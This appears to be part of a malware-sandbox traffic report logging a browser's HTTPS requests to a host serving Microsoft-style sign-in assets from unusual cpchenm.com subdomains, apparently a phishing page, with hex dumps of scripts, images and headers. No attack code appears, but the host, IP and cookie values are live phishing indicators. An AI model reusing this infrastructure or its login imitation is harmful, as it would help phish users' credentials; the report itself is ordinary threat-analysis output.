fd b6 ec b5 54 89 19 23 b5 43 00 d4 38 1a bc 72 ec fa aa 4c 20 f0 ca 50 ec 3d d9 0a 21 1e 10 8f 54 d1 80 06 dd 3e Data Ascii: Lr{1A%cF+(;w~(yp8YM~RMH>pz?.wbeq}^ddCw0"3>&a}D;0kRW q4Qlq(' 3g.q.Z[[k&(e}#MplX)'>T#C8rL P=!T>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.22	49247	2.59.163.43	443	3592	C:\Program Files (x86)\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:30:03 UTC	484	OUT	GET /shared/1.0/content/images/signin-options_3e3f6b73c3f310c31d2c4d131a8ab8c6.svg HTTP/1.1 Host: tvrcedjrhte.cpchenm.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qqhost=viw7M1ydrDviSBXljkXihg9nmldQgUIlUmnnCijcLXM
2024-11-12 16:30:04 UTC	1094	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: https://tvrcedjrhte.cpchenm.com Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Cache-Control: public, max-age=31536000 Cache-Control: no-cache="Set-Cookie" Content-Security-Policy: default-src * data: blob: filesystem: about: ws: wss: 'unsafe-inline' 'unsafe-eval'; script-src * data: blob: 'unsafe-inline' 'unsafe-eval'; connect-src * data: blob: 'unsafe-inline'; img-src * data: blob: 'unsafe-inline'; frame-ancestors 'self' * http://* https://* file://* about: javascript: data: blob: filesystem:; frame-src 'self' * http://* https://* file://* about: javascript: data: blob: filesystem:; style-src * data: blob: filesystem: 'unsafe-inline'; font-src * data: blob: 'unsafe-inline'; Content-Type: image/svg+xml Cross-Origin-Resource-Policy: cross-origin Date: Tue, 12 Nov 2024 16:30:03 GMT Etag: 0x8DB5C3F49ED96E0 Last-Modified: Wed, 24 May 2023 10:11:49 GMT
2024-11-12 16:30:04 UTC	425	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 71 71 68 6f 73 74 3d 76 69 77 37 4d 31 79 64 72 44 76 69 53 42 58 6c 6a 6b 58 69 68 67 39 6e 6d 6c 64 51 67 55 49 6c 55 6d 6e 6e 43 69 6a 63 4c 58 4d 3b 20 50 61 74 68 3d 2f 3b 20 44 6f 6d 61 69 6e 3d 63 70 63 68 65 6e 6d 2e 63 6f 6d 3b 20 53 65 63 75 72 65 3b 20 53 61 6d 65 53 69 74 65 3d 4e 6f 6e 65 0d 0a 58 2d 41 7a 75 72 65 2d 52 65 66 3a 20 32 30 32 34 31 31 31 32 54 31 36 33 30 30 33 5a 2d 31 35 34 38 37 39 39 39 64 38 37 74 77 66 71 32 68 43 31 57 41 57 64 36 71 63 30 30 30 30 30 30 30 36 67 30 30 30 30 30 30 30 30 30 32 74 77 68 0d 0a 58 2d 43 61 63 68 65 3a 20 54 43 50 5f 48 49 54 0d 0a 58 2d 46 64 2d 49 6e 74 2d 52 6f 78 79 2d 50 75 72 67 65 69 64 3a 20 34 35 35 34 36 39 31 0d 0a 58 2d 4d 73 2d 42 6c 6f 62 2d Data Ascii: Set-Cookie: qqhost=viw7M1ydrDviSBXljkXihg9nmldQgUIlUmnnCijcLXM; Path=/; Domain=cpchenm.com; Secure; SameSite=NoneX-Azure-Ref: 20241112T163003Z-15487999d87twfq2hC1WAWd6qc00000006g0000000002twhX-Cache: TCP_HITX-Fd-Int-Roxy-Purgeid: 4554691X-Ms-Blob-
2024-11-12 16:30:04 UTC	1592	IN	Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 34 38 22 20 68 65 69 67 68 74 3d 22 34 38 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 34 38 20 34 38 22 3e 3c 64 65 66 73 3e 3c 73 74 79 6c 65 3e 2e 61 7b 66 69 6c 6c 3a 6e 6f 6e 65 3b 7d 2e 62 7b 66 69 6c 6c 3a 23 34 30 34 30 34 30 3b 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 64 65 66 73 3e 3c 72 65 63 74 20 63 6c 61 73 73 3d 22 61 22 20 77 69 64 74 68 3d 22 34 38 22 20 68 65 69 67 68 74 3d 22 34 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 62 22 20 64 3d 22 4d 34 30 2c 33 32 2e 35 37 38 56 34 30 48 33 32 56 33 36 48 32 38 56 33 32 48 32 34 56 32 38 2e 37 36 36 41 31 30 2e 36 38 39 2c 31 30 2e 36 38 39 2c 30 2c 30 2c Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" width="48" height="48" viewBox="0 0 48 48"><defs><style>.a{fill:none;}.b{fill:#404040;}</style></defs><rect class="a" width="48" height="48"/><path class="b" d="M40,32.578V40H32V36H28V32H24V28.766A10.689,10.689,0,0,

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.22	49248	2.59.163.43	443	3592	C:\Program Files (x86)\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:30:05 UTC	493	OUT	GET /shared/1.0/content/images/appbackgrounds/49-small_2055002f2daae2ed8f69f03944c0e5d9.jpg HTTP/1.1 Host: tvrcedjrhte.cpchenm.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qqhost=viw7M1ydrDviSBXljkXihg9nmldQgUIlUmnnCijcLXM
2024-11-12 16:30:05 UTC	1074	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: https://tvrcedjrhte.cpchenm.com Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Cache-Control: public, max-age=31536000 Cache-Control: no-cache="Set-Cookie" Content-Security-Policy: default-src * data: blob: filesystem: about: ws: wss: 'unsafe-inline' 'unsafe-eval'; script-src * data: blob: 'unsafe-inline' 'unsafe-eval'; connect-src * data: blob: 'unsafe-inline'; img-src * data: blob: 'unsafe-inline'; frame-ancestors 'self' * http://* https://* file://* about: javascript: data: blob: filesystem:; frame-src 'self' * http://* https://* file://* about: javascript: data: blob: filesystem:; style-src * data: blob: filesystem: 'unsafe-inline'; font-src * data: blob: 'unsafe-inline'; Content-Type: image/jpeg Cross-Origin-Resource-Policy: cross-origin Date: Tue, 12 Nov 2024 16:30:05 GMT Etag: 0x8DB5C3F457E15E1 Last-Modified: Wed, 24 May 2023 10:11:42 GMT
2024-11-12 16:30:05 UTC	424	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 71 71 68 6f 73 74 3d 76 69 77 37 4d 31 79 64 72 44 76 69 53 42 58 6c 6a 6b 58 69 68 67 39 6e 6d 6c 64 51 67 55 49 6c 55 6d 6e 6e 43 69 6a 63 4c 58 4d 3b 20 50 61 74 68 3d 2f 3b 20 44 6f 6d 61 69 6e 3d 63 70 63 68 65 6e 6d 2e 63 6f 6d 3b 20 53 65 63 75 72 65 3b 20 53 61 6d 65 53 69 74 65 3d 4e 6f 6e 65 0d 0a 58 2d 41 7a 75 72 65 2d 52 65 66 3a 20 32 30 32 34 31 31 31 32 54 31 36 33 30 30 35 5a 2d 31 35 34 38 37 39 39 39 64 38 37 74 77 66 71 32 68 43 31 57 41 57 64 36 71 63 30 30 30 30 30 30 30 36 67 30 30 30 30 30 30 30 30 30 32 75 38 31 0d 0a 58 2d 43 61 63 68 65 3a 20 54 43 50 5f 48 49 54 0d 0a 58 2d 46 64 2d 49 6e 74 2d 52 6f 78 79 2d 50 75 72 67 65 69 64 3a 20 34 35 35 34 36 39 31 0d 0a 58 2d 4d 73 2d 42 6c 6f 62 2d Data Ascii: Set-Cookie: qqhost=viw7M1ydrDviSBXljkXihg9nmldQgUIlUmnnCijcLXM; Path=/; Domain=cpchenm.com; Secure; SameSite=NoneX-Azure-Ref: 20241112T163005Z-15487999d87twfq2hC1WAWd6qc00000006g0000000002u81X-Cache: TCP_HITX-Fd-Int-Roxy-Purgeid: 4554691X-Ms-Blob-
2024-11-12 16:30:05 UTC	987	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 48 00 48 00 00 ff e1 00 66 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 04 01 1a 00 05 00 00 00 01 00 00 00 3e 01 1b 00 05 00 00 00 01 00 00 00 46 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 10 00 00 00 4e 00 00 00 00 00 00 00 48 00 00 00 01 00 00 00 48 00 00 00 01 70 61 69 6e 74 2e 6e 65 74 20 34 2e 32 2e 39 00 ff db 00 43 00 02 01 01 01 01 01 02 01 01 01 02 02 02 02 02 04 03 02 02 02 02 05 04 04 03 04 06 05 06 06 06 05 06 06 06 07 09 08 06 07 09 07 06 06 08 0b 08 09 0a 0a 0a 0a 0a 06 08 0b 0c 0b 0a 0c 09 0a 0a 0a ff db 00 43 01 02 02 02 02 02 02 05 03 03 05 0a 07 06 07 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a Data Ascii: JFIFHHfExifMM*>F(1NHHpaint.net 4.2.9CC

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.22	49250	2.59.163.43	443	3592	C:\Program Files (x86)\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:30:05 UTC	687	OUT	GET /shared/1.0/content/js/asyncchunk/convergedlogin_pstringcustomizationhelper_4285088f1dbaf52a876d.js HTTP/1.1 Host: tvrcedjrhte.cpchenm.com Connection: keep-alive sec-ch-ua: "Not_A Brand";v="99", "Google Chrome";v="109", "Chromium";v="109" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://tvrceocprq.cpchenm.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qqhost=viw7M1ydrDviSBXljkXihg9nmldQgUIlUmnnCijcLXM
2024-11-12 16:30:05 UTC	1144	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://tvrceocprq.cpchenm.com Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Cache-Control: public, max-age=31536000 Cache-Control: no-cache="Set-Cookie" Content-Security-Policy: default-src * data: blob: filesystem: about: ws: wss: 'unsafe-inline' 'unsafe-eval'; script-src * data: blob: 'unsafe-inline' 'unsafe-eval'; connect-src * data: blob: 'unsafe-inline'; img-src * data: blob: 'unsafe-inline'; frame-ancestors 'self' * http://* https://* file://* about: javascript: data: blob: filesystem:; frame-src 'self' * http://* https://* file://* about: javascript: data: blob: filesystem:; style-src * data: blob: filesystem: 'unsafe-inline'; font-src * data: blob: 'unsafe-inline'; Content-Type: application/x-javascript Cross-Origin-Resource-Policy: cross-origin Date: Tue, 12 Nov 2024 16:30:05 GMT Etag: 0x8DCBD5317AEB807 Last-Modified: Thu, 15 Aug 2024 17:52:55 GMT
2024-11-12 16:30:05 UTC	431	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 71 71 68 6f 73 74 3d 76 69 77 37 4d 31 79 64 72 44 76 69 53 42 58 6c 6a 6b 58 69 68 67 39 6e 6d 6c 64 51 67 55 49 6c 55 6d 6e 6e 43 69 6a 63 4c 58 4d 3b 20 50 61 74 68 3d 2f 3b 20 44 6f 6d 61 69 6e 3d 63 70 63 68 65 6e 6d 2e 63 6f 6d 3b 20 53 65 63 75 72 65 3b 20 53 61 6d 65 53 69 74 65 3d 4e 6f 6e 65 0d 0a 58 2d 41 7a 75 72 65 2d 52 65 66 3a 20 32 30 32 34 31 31 31 32 54 31 36 33 30 30 35 5a 2d 31 35 34 38 37 39 39 39 64 38 37 74 77 66 71 32 68 43 31 57 41 57 64 36 71 63 30 30 30 30 30 30 30 36 67 30 30 30 30 30 30 30 30 30 32 75 37 75 0d 0a 58 2d 43 61 63 68 65 3a 20 54 43 50 5f 48 49 54 0d 0a 58 2d 46 64 2d 49 6e 74 2d 52 6f 78 79 2d 50 75 72 67 65 69 64 3a 20 34 35 35 34 36 39 31 0d 0a 58 2d 4d 73 2d 42 6c 6f 62 2d Data Ascii: Set-Cookie: qqhost=viw7M1ydrDviSBXljkXihg9nmldQgUIlUmnnCijcLXM; Path=/; Domain=cpchenm.com; Secure; SameSite=NoneX-Azure-Ref: 20241112T163005Z-15487999d87twfq2hC1WAWd6qc00000006g0000000002u7uX-Cache: TCP_HITX-Fd-Int-Roxy-Purgeid: 4554691X-Ms-Blob-
2024-11-12 16:30:05 UTC	1962	IN	Data Raw: 31 62 63 36 39 0d 0a 2f 2a 21 0a 20 2a 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 20 53 54 41 52 54 20 4f 46 20 54 48 49 52 44 20 50 41 52 54 59 20 4e 4f 54 49 43 45 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 20 2a 20 0a 20 2a 20 54 68 69 73 20 66 69 6c 65 20 69 73 20 62 61 73 65 64 20 6f 6e 20 6f 72 20 69 6e 63 6f 72 70 6f 72 61 74 65 73 20 6d 61 74 65 72 69 61 6c 20 66 72 6f 6d 20 74 68 65 20 70 72 6f 6a 65 63 74 73 20 6c 69 73 74 65 64 20 62 65 6c 6f 77 20 28 54 68 69 72 64 20 50 61 72 74 79 20 49 50 29 2e 20 54 68 65 20 6f 72 69 67 69 6e 61 6c 20 63 6f 70 79 72 69 67 68 74 20 6e Data Ascii: 1bc69/! ------------------------------------------- START OF THIRD PARTY NOTICE ----------------------------------------- * * This file is based on or incorporates material from the projects listed below (Third Party IP). The original copyright n
2024-11-12 16:30:05 UTC	559	IN	Data Raw: 61 74 65 4c 69 6e 6b 3d 6d 2c 74 68 69 73 2e 6e 6f 72 6d 61 6c 69 7a 65 4c 69 6e 6b 3d 5f 2c 74 68 69 73 2e 6e 6f 72 6d 61 6c 69 7a 65 4c 69 6e 6b 54 65 78 74 3d 6b 2c 74 68 69 73 2e 75 74 69 6c 73 3d 6e 2c 74 68 69 73 2e 68 65 6c 70 65 72 73 3d 6e 2e 61 73 73 69 67 6e 28 7b 7d 2c 73 29 2c 74 68 69 73 2e 6f 70 74 69 6f 6e 73 3d 7b 7d 2c 74 68 69 73 2e 63 6f 6e 66 69 67 75 72 65 28 65 29 2c 74 26 26 74 68 69 73 2e 73 65 74 28 74 29 7d 62 2e 70 72 6f 74 6f 74 79 70 65 2e 73 65 74 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 6e 2e 61 73 73 69 67 6e 28 74 68 69 73 2e 6f 70 74 69 6f 6e 73 2c 65 29 2c 74 68 69 73 7d 2c 62 2e 70 72 6f 74 6f 74 79 70 65 2e 63 6f 6e 66 69 67 75 72 65 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 2c 72 3d 74 Data Ascii: ateLink=m,this.normalizeLink=_,this.normalizeLinkText=k,this.utils=n,this.helpers=n.assign({},s),this.options={},this.configure(e),t&&this.set(t)}b.prototype.set=function(e){return n.assign(this.options,e),this},b.prototype.configure=function(e){var t,r=t
2024-11-12 16:30:05 UTC	4716	IN	Data Raw: 4f 6e 6c 79 28 65 2e 63 6f 6d 70 6f 6e 65 6e 74 73 5b 74 5d 2e 72 75 6c 65 73 29 2c 65 2e 63 6f 6d 70 6f 6e 65 6e 74 73 5b 74 5d 2e 72 75 6c 65 73 32 26 26 72 5b 74 5d 2e 72 75 6c 65 72 32 2e 65 6e 61 62 6c 65 4f 6e 6c 79 28 65 2e 63 6f 6d 70 6f 6e 65 6e 74 73 5b 74 5d 2e 72 75 6c 65 73 32 29 7d 29 29 2c 74 68 69 73 7d 2c 62 2e 70 72 6f 74 6f 74 79 70 65 2e 65 6e 61 62 6c 65 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 72 3d 5b 5d 3b 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 65 29 7c 7c 28 65 3d 5b 65 5d 29 2c 5b 22 63 6f 72 65 22 2c 22 62 6c 6f 63 6b 22 2c 22 69 6e 6c 69 6e 65 22 5d 2e 66 6f 72 45 61 63 68 28 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 3d 72 2e 63 6f 6e 63 61 74 28 74 68 69 73 5b 74 5d 2e 72 75 6c 65 72 2e 65 6e 61 62 6c 65 28 Data Ascii: Only(e.components[t].rules),e.components[t].rules2&&r[t].ruler2.enableOnly(e.components[t].rules2)})),this},b.prototype.enable=function(e,t){var r=[];Array.isArray(e)\|\|(e=[e]),["core","block","inline"].forEach((function(t){r=r.concat(this[t].ruler.enable(
2024-11-12 16:30:05 UTC	5895	IN	Data Raw: 22 62 6f 78 56 48 22 3a 22 5c 75 32 35 36 63 22 2c 22 62 6f 78 76 6c 22 3a 22 5c 75 32 35 32 34 22 2c 22 62 6f 78 76 4c 22 3a 22 5c 75 32 35 36 31 22 2c 22 62 6f 78 56 6c 22 3a 22 5c 75 32 35 36 32 22 2c 22 62 6f 78 56 4c 22 3a 22 5c 75 32 35 36 33 22 2c 22 62 6f 78 76 72 22 3a 22 5c 75 32 35 31 63 22 2c 22 62 6f 78 76 52 22 3a 22 5c 75 32 35 35 65 22 2c 22 62 6f 78 56 72 22 3a 22 5c 75 32 35 35 66 22 2c 22 62 6f 78 56 52 22 3a 22 5c 75 32 35 36 30 22 2c 22 62 70 72 69 6d 65 22 3a 22 5c 75 32 30 33 35 22 2c 22 62 72 65 76 65 22 3a 22 5c 75 30 32 64 38 22 2c 22 42 72 65 76 65 22 3a 22 5c 75 30 32 64 38 22 2c 22 62 72 76 62 61 72 22 3a 22 5c 78 61 36 22 2c 22 62 73 63 72 22 3a 22 5c 75 64 38 33 35 5c 75 64 63 62 37 22 2c 22 42 73 63 72 22 3a 22 5c 75 32 31 Data Ascii: "boxVH":"\u256c","boxvl":"\u2524","boxvL":"\u2561","boxVl":"\u2562","boxVL":"\u2563","boxvr":"\u251c","boxvR":"\u255e","boxVr":"\u255f","boxVR":"\u2560","bprime":"\u2035","breve":"\u02d8","Breve":"\u02d8","brvbar":"\xa6","bscr":"\ud835\udcb7","Bscr":"\u21
2024-11-12 16:30:05 UTC	7074	IN	Data Raw: 32 32 30 35 22 2c 22 65 6d 70 74 79 73 65 74 22 3a 22 5c 75 32 32 30 35 22 2c 22 45 6d 70 74 79 53 6d 61 6c 6c 53 71 75 61 72 65 22 3a 22 5c 75 32 35 66 62 22 2c 22 65 6d 70 74 79 76 22 3a 22 5c 75 32 32 30 35 22 2c 22 45 6d 70 74 79 56 65 72 79 53 6d 61 6c 6c 53 71 75 61 72 65 22 3a 22 5c 75 32 35 61 62 22 2c 22 65 6d 73 70 31 33 22 3a 22 5c 75 32 30 30 34 22 2c 22 65 6d 73 70 31 34 22 3a 22 5c 75 32 30 30 35 22 2c 22 65 6d 73 70 22 3a 22 5c 75 32 30 30 33 22 2c 22 45 4e 47 22 3a 22 5c 75 30 31 34 61 22 2c 22 65 6e 67 22 3a 22 5c 75 30 31 34 62 22 2c 22 65 6e 73 70 22 3a 22 5c 75 32 30 30 32 22 2c 22 45 6f 67 6f 6e 22 3a 22 5c 75 30 31 31 38 22 2c 22 65 6f 67 6f 6e 22 3a 22 5c 75 30 31 31 39 22 2c 22 45 6f 70 66 22 3a 22 5c 75 64 38 33 35 5c 75 64 64 33 Data Ascii: 2205","emptyset":"\u2205","EmptySmallSquare":"\u25fb","emptyv":"\u2205","EmptyVerySmallSquare":"\u25ab","emsp13":"\u2004","emsp14":"\u2005","emsp":"\u2003","ENG":"\u014a","eng":"\u014b","ensp":"\u2002","Eogon":"\u0118","eogon":"\u0119","Eopf":"\ud835\udd3
2024-11-12 16:30:05 UTC	8253	IN	Data Raw: 74 44 6f 77 6e 56 65 63 74 6f 72 42 61 72 22 3a 22 5c 75 32 39 35 39 22 2c 22 4c 65 66 74 44 6f 77 6e 56 65 63 74 6f 72 22 3a 22 5c 75 32 31 63 33 22 2c 22 4c 65 66 74 46 6c 6f 6f 72 22 3a 22 5c 75 32 33 30 61 22 2c 22 6c 65 66 74 68 61 72 70 6f 6f 6e 64 6f 77 6e 22 3a 22 5c 75 32 31 62 64 22 2c 22 6c 65 66 74 68 61 72 70 6f 6f 6e 75 70 22 3a 22 5c 75 32 31 62 63 22 2c 22 6c 65 66 74 6c 65 66 74 61 72 72 6f 77 73 22 3a 22 5c 75 32 31 63 37 22 2c 22 6c 65 66 74 72 69 67 68 74 61 72 72 6f 77 22 3a 22 5c 75 32 31 39 34 22 2c 22 4c 65 66 74 52 69 67 68 74 41 72 72 6f 77 22 3a 22 5c 75 32 31 39 34 22 2c 22 4c 65 66 74 72 69 67 68 74 61 72 72 6f 77 22 3a 22 5c 75 32 31 64 34 22 2c 22 6c 65 66 74 72 69 67 68 74 61 72 72 6f 77 73 22 3a 22 5c 75 32 31 63 36 22 2c Data Ascii: tDownVectorBar":"\u2959","LeftDownVector":"\u21c3","LeftFloor":"\u230a","leftharpoondown":"\u21bd","leftharpoonup":"\u21bc","leftleftarrows":"\u21c7","leftrightarrow":"\u2194","LeftRightArrow":"\u2194","Leftrightarrow":"\u21d4","leftrightarrows":"\u21c6",
2024-11-12 16:30:05 UTC	9432	IN	Data Raw: 22 3a 22 5c 78 64 31 22 2c 22 6e 74 69 6c 64 65 22 3a 22 5c 78 66 31 22 2c 22 6e 74 6c 67 22 3a 22 5c 75 32 32 37 38 22 2c 22 6e 74 72 69 61 6e 67 6c 65 6c 65 66 74 22 3a 22 5c 75 32 32 65 61 22 2c 22 6e 74 72 69 61 6e 67 6c 65 6c 65 66 74 65 71 22 3a 22 5c 75 32 32 65 63 22 2c 22 6e 74 72 69 61 6e 67 6c 65 72 69 67 68 74 22 3a 22 5c 75 32 32 65 62 22 2c 22 6e 74 72 69 61 6e 67 6c 65 72 69 67 68 74 65 71 22 3a 22 5c 75 32 32 65 64 22 2c 22 4e 75 22 3a 22 5c 75 30 33 39 64 22 2c 22 6e 75 22 3a 22 5c 75 30 33 62 64 22 2c 22 6e 75 6d 22 3a 22 23 22 2c 22 6e 75 6d 65 72 6f 22 3a 22 5c 75 32 31 31 36 22 2c 22 6e 75 6d 73 70 22 3a 22 5c 75 32 30 30 37 22 2c 22 6e 76 61 70 22 3a 22 5c 75 32 32 34 64 5c 75 32 30 64 32 22 2c 22 6e 76 64 61 73 68 22 3a 22 5c 75 32 Data Ascii: ":"\xd1","ntilde":"\xf1","ntlg":"\u2278","ntriangleleft":"\u22ea","ntrianglelefteq":"\u22ec","ntriangleright":"\u22eb","ntrianglerighteq":"\u22ed","Nu":"\u039d","nu":"\u03bd","num":"#","numero":"\u2116","numsp":"\u2007","nvap":"\u224d\u20d2","nvdash":"\u2
2024-11-12 16:30:05 UTC	10611	IN	Data Raw: 63 63 6e 65 71 71 22 3a 22 5c 75 32 61 62 36 22 2c 22 73 75 63 63 6e 73 69 6d 22 3a 22 5c 75 32 32 65 39 22 2c 22 73 75 63 63 73 69 6d 22 3a 22 5c 75 32 32 37 66 22 2c 22 53 75 63 68 54 68 61 74 22 3a 22 5c 75 32 32 30 62 22 2c 22 73 75 6d 22 3a 22 5c 75 32 32 31 31 22 2c 22 53 75 6d 22 3a 22 5c 75 32 32 31 31 22 2c 22 73 75 6e 67 22 3a 22 5c 75 32 36 36 61 22 2c 22 73 75 70 31 22 3a 22 5c 78 62 39 22 2c 22 73 75 70 32 22 3a 22 5c 78 62 32 22 2c 22 73 75 70 33 22 3a 22 5c 78 62 33 22 2c 22 73 75 70 22 3a 22 5c 75 32 32 38 33 22 2c 22 53 75 70 22 3a 22 5c 75 32 32 64 31 22 2c 22 73 75 70 64 6f 74 22 3a 22 5c 75 32 61 62 65 22 2c 22 73 75 70 64 73 75 62 22 3a 22 5c 75 32 61 64 38 22 2c 22 73 75 70 45 22 3a 22 5c 75 32 61 63 36 22 2c 22 73 75 70 65 22 3a 22 Data Ascii: ccneqq":"\u2ab6","succnsim":"\u22e9","succsim":"\u227f","SuchThat":"\u220b","sum":"\u2211","Sum":"\u2211","sung":"\u266a","sup1":"\xb9","sup2":"\xb2","sup3":"\xb3","sup":"\u2283","Sup":"\u22d1","supdot":"\u2abe","supdsub":"\u2ad8","supE":"\u2ac6","supe":"
2024-11-12 16:30:05 UTC	11790	IN	Data Raw: 3d 53 2e 6a 6f 69 6e 28 22 2e 22 29 2b 6d 29 2c 74 68 69 73 2e 68 6f 73 74 6e 61 6d 65 3d 45 2e 6a 6f 69 6e 28 22 2e 22 29 3b 62 72 65 61 6b 7d 7d 7d 7d 74 68 69 73 2e 68 6f 73 74 6e 61 6d 65 2e 6c 65 6e 67 74 68 3e 32 35 35 26 26 28 74 68 69 73 2e 68 6f 73 74 6e 61 6d 65 3d 22 22 29 2c 79 26 26 28 74 68 69 73 2e 68 6f 73 74 6e 61 6d 65 3d 74 68 69 73 2e 68 6f 73 74 6e 61 6d 65 2e 73 75 62 73 74 72 28 31 2c 74 68 69 73 2e 68 6f 73 74 6e 61 6d 65 2e 6c 65 6e 67 74 68 2d 32 29 29 7d 76 61 72 20 4c 3d 6d 2e 69 6e 64 65 78 4f 66 28 22 23 22 29 3b 2d 31 21 3d 3d 4c 26 26 28 74 68 69 73 2e 68 61 73 68 3d 6d 2e 73 75 62 73 74 72 28 4c 29 2c 6d 3d 6d 2e 73 6c 69 63 65 28 30 2c 4c 29 29 3b 76 61 72 20 7a 3d 6d 2e 69 6e 64 65 78 4f 66 28 22 3f 22 29 3b 72 65 74 75 Data Ascii: =S.join(".")+m),this.hostname=E.join(".");break}}}}this.hostname.length>255&&(this.hostname=""),y&&(this.hostname=this.hostname.substr(1,this.hostname.length-2))}var L=m.indexOf("#");-1!==L&&(this.hash=m.substr(L),m=m.slice(0,L));var z=m.indexOf("?");retu

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.22	49249	2.59.163.43	443	3592	C:\Program Files (x86)\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:30:05 UTC	470	OUT	GET /shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico HTTP/1.1 Host: tvrcedjrhte.cpchenm.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qqhost=viw7M1ydrDviSBXljkXihg9nmldQgUIlUmnnCijcLXM
2024-11-12 16:30:05 UTC	1076	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: https://tvrcedjrhte.cpchenm.com Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Cache-Control: public, max-age=31536000 Cache-Control: no-cache="Set-Cookie" Content-Security-Policy: default-src * data: blob: filesystem: about: ws: wss: 'unsafe-inline' 'unsafe-eval'; script-src * data: blob: 'unsafe-inline' 'unsafe-eval'; connect-src * data: blob: 'unsafe-inline'; img-src * data: blob: 'unsafe-inline'; frame-ancestors 'self' * http://* https://* file://* about: javascript: data: blob: filesystem:; frame-src 'self' * http://* https://* file://* about: javascript: data: blob: filesystem:; style-src * data: blob: filesystem: 'unsafe-inline'; font-src * data: blob: 'unsafe-inline'; Content-Type: image/x-icon Cross-Origin-Resource-Policy: cross-origin Date: Tue, 12 Nov 2024 16:30:05 GMT Etag: 0x8D8731230C851A6 Last-Modified: Sun, 18 Oct 2020 03:02:03 GMT
